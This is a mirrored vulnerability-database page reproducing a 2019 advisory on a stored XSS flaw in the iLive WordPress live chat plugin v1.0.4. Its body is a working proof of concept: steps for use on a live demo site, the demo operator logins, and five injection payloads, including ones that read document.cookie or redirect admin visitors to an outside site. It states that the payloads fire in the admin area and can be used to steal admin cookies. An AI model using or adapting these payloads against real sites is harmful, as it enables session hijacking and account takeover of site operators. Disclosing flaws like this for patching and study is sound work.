iLive - Intelligent WordPress Live Chat Support Plugin v1.0.4 Stored XSS Injection - CXSecurity.com

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1642360 漏洞类型
发布时间 2019-06-25 更新时间 2019-06-25
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2019060166
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/*!
* ::- Title: iLive - Intelligent WordPress Live Chat Support Plugin v1.0.4 Stored XSS Injection
* ::- Author: m0ze
* ::- Date: 2019/06/25
* ::- Software: iLive - Intelligent WordPress Live Chat Support Plugin v1.0.4
*/
  
::- Details & Description -::
~ Weak security measures like bad input field data filtering has been discovered in the «iLive - Intelligent WordPress Live Chat Support Plugin». Current version of this premium WordPress plugin is 1.0.4.

::- Demo Website -::
~ https://codecanyon.net/item/ilive-wordpress-live-chat-support-plugin/20496563
~ Frontend: http://www.ilive.wpapplab.com/
~ Backend: http://www.ilive.wpapplab.com/wp-admin/
~ Login / Password (operator1): operator1 / Operator_1
~ Login / Password (operator2): operator2 / Operator_2
~ Login / Password (operator3): operator3 / Operator_3

::- Special Note -::
~ -

::- Google Dork -::
~ -

::- PoC Links -::
~ -

::- PoC [Stored XSS Injection] -::
~ Go to the demo website http://www.ilive.wpapplab.com/ and open chat window by clicking on «Chat» icon on the bottom right corner. Use your payload inside input field and press [Enter]. Provided exaple payloads working on the admin area, so it's possible to steal admin cookies or force a redirect to any other website.
~ To check your XSS Injections log in http://www.ilive.wpapplab.com/wp-admin/ with provided credentials (operator1 / Operator_1, operator2 / Operator_2, operator3 / Operator_3) and go to this page http://www.ilive.wpapplab.com/wp-admin/admin.php?page=ilive-chat-page then select your chat alias from the list. Keep in mind that there is 3 demo operators, so you must log in as operator assigned to your chat (operator number will be available after you send the first message in chat).
~ Example #1: <img src=https://i.imgur.com/zRm8R9z.gif onload=alert(`m0ze`);>
~ Example #2: <img src=https://i.imgur.com/zRm8R9z.gif onload=alert(document.cookie);>
~ Example #3: <img src=x onerror=window.location.replace('https://m0ze.ru/');>
~ Example #4: <!--<img src="--><img src=x onerror=(alert)(`m0ze`)//">
~ Example #5: <!--<img src="--><img src=x onerror=(alert)(document.cookie)//">